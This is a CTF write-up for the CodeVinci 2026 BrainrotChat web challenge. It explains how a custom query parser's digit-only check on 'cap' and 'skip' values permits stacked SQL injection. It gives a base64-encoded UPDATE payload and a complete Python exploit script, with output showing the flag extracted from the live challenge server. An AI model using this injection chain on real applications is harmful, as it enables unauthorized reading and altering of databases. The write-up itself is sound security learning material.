641 words
3 minutes
CodeVinci CTF 2026 - BrainrotChat - Web Exploitation Writeup

Category: Web Exploitation Flag: CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}

Challenge Description#

average brainrot chat

Analysis#

The archive immediately looked like a Next.js app with a custom query language, so I started by checking which backend files mattered for data flow into SQL.

unzip -l BrainrotChat.zip
Archive:  BrainrotChat.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     3145  02-04-2026 06:18   BrainrotChat (Copy)/app/api/messages/route.js
     1964  02-04-2026 06:18   BrainrotChat (Copy)/app/api/brainrot/route.js
     1482  02-04-2026 06:18   BrainrotChat (Copy)/app/api/settings/route.js
    13886  02-04-2026 06:49   BrainrotChat (Copy)/lib/brainrotParser.js
---------                     -------
    93253                     52 files

That narrowed the path quickly: /api/settings writes a user-controlled base64 value to sfx under profile_<userid>, and /api/brainrot reads sfx and base64-decodes it when the tag starts with profile_. I verified the key lines directly.

rg -n "status|profile_|sfx|Buffer\.from\(|base64" "BrainrotChat (Copy)/app/api/settings/route.js" "BrainrotChat (Copy)/app/api/brainrot/route.js"
BrainrotChat (Copy)/app/api/brainrot/route.js:19:  const [sfxRows] = await pool.query("SELECT tag, payload FROM sfx");
BrainrotChat (Copy)/app/api/brainrot/route.js:24:    if (tag.startsWith("profile_")) {
BrainrotChat (Copy)/app/api/brainrot/route.js:26:        return Buffer.from(payload, "base64").toString("utf-8");
BrainrotChat (Copy)/app/api/settings/route.js:10:  const { displayName, bio, status } = await request.json();
BrainrotChat (Copy)/app/api/settings/route.js:13:  const cleanStatus = String(status || "").trim().slice(0, 1024);
BrainrotChat (Copy)/app/api/settings/route.js:25:    const macroTag = `profile_${user.id}`;
BrainrotChat (Copy)/app/api/settings/route.js:27:      "INSERT INTO sfx(tag, payload) VALUES (?, ?) ON DUPLICATE KEY UPDATE payload = VALUES(payload)",

The real bug is in the BrainrotQL parser: cap and skip accept macro-expanded values, then only check whether the string contains any digit via /\d+/.test(value). That means 0;UPDATE ... passes validation and is returned as raw SQL fragment.

python show_parser_slice.py
346:   _parseLimit(rest) {
347:     if (!rest) throw new BrainrotParseError("cap needs a number");
348:     const value = this._expandMacros(rest.trim());
349:     if (!/\d+/.test(value)) {
350:       throw new BrainrotParseError("cap must contain a number.");
351:     }
352:     return value;
353:   }
354:
355:   _parseOffset(rest) {
356:     if (!rest) throw new BrainrotParseError("skip needs a number");
357:     const value = this._expandMacros(rest.trim());
358:     if (!/\d+/.test(value)) {
359:       throw new BrainrotParseError("skip must contain a number.");
360:     }
361:     return value;
362:   }

At that point the chain was clean: register a normal user, store base64 of 0;UPDATE users SET bio=(SELECT flag FROM flags LIMIT 1) WHERE id=<me> into status, trigger parsing with cap sfx(profile_<me>), then read my own bio back through BrainrotQL. It worked on first full run after wiring the script.

wink

The funniest part is the parser check: it looks like validation, but it only requires one digit anywhere in the payload, so 0;... slides through effortlessly.

tableflip

I used this exploit runner against the live instance and captured the flag from real API output.

python brainrotchat_exploit.py
register: 200 {'ok': True, 'user': {'id': 503, 'handle': 'pwn_36pakmaf8a', 'display_name': 'pwner'}}
id query: 200 {'ok': True, 'rows': [{'id': 503, 'handle': 'pwn_36pakmaf8a'}]}
uid: 503
settings: 200 {'ok': True, 'user': {'handle': 'pwn_36pakmaf8a', 'display_name': 'pwner', 'bio': '', 'status': 'MDtVUERBVEUgdXNlcnMgU0VUIGJpbz0oU0VMRUNUIGZsYWcgRlJPTSBmbGFncyBMSU1JVCAxKSBXSEVSRSBpZD01MDM='}}
trigger: 200 {'ok': True, 'rows': []}
read bio: 200 {'ok': True, 'rows': [{'bio': 'CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}'}]}
FLAG: CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}

Solution#

# brainrotchat_exploit.py
import base64
import random
import re
import string

import requests


BASE = "https://brainrotchat.codevinci.it"


def rand_text(n=8):
    alpha = string.ascii_lowercase + string.digits
    return "".join(random.choice(alpha) for _ in range(n))


def post_json(session, path, data):
    r = session.post(f"{BASE}{path}", json=data, timeout=20)
    try:
        j = r.json()
    except Exception:
        j = {"raw": r.text}
    return r, j


def brainrot(session, query):
    r, j = post_json(session, "/api/brainrot", {"query": query})
    return r, j


def main():
    s = requests.Session()

    handle = f"pwn_{rand_text(10)}"
    password = "pwnpass123"

    r, j = post_json(
        s,
        "/api/auth/register",
        {"handle": handle, "password": password, "displayName": "pwner"},
    )
    print("register:", r.status_code, j)
    if r.status_code != 200 or not j.get("ok"):
        return

    r, j = brainrot(s, f"summon users | spill id,handle | vibe handle is {handle}")
    print("id query:", r.status_code, j)
    if not j.get("ok") or not j.get("rows"):
        return

    uid = int(j["rows"][0]["id"])
    print("uid:", uid)

    injected = f"0;UPDATE users SET bio=(SELECT flag FROM flags LIMIT 1) WHERE id={uid}"
    b64 = base64.b64encode(injected.encode()).decode()

    r, j = post_json(
        s,
        "/api/settings",
        {"displayName": "pwner", "bio": "", "status": b64},
    )
    print("settings:", r.status_code, j)
    if r.status_code != 200 or not j.get("ok"):
        return

    r, j = brainrot(s, f"summon users | spill id | cap sfx(profile_{uid})")
    print("trigger:", r.status_code, j)

    r, j = brainrot(s, f"summon users | spill bio | vibe id is {uid}")
    print("read bio:", r.status_code, j)
    text = str(j)
    m = re.search(r"CodeVinci\{[^}]+\}", text)
    if m:
        print("FLAG:", m.group(0))


if __name__ == "__main__":
    main()
python brainrotchat_exploit.py
FLAG: CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}
CodeVinci CTF 2026 - BrainrotChat - Web Exploitation Writeup
https://blog.rei.my.id/posts/89/codevinci-ctf-2026-brainrotchat-web-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-10
License
CC BY-NC-SA 4.0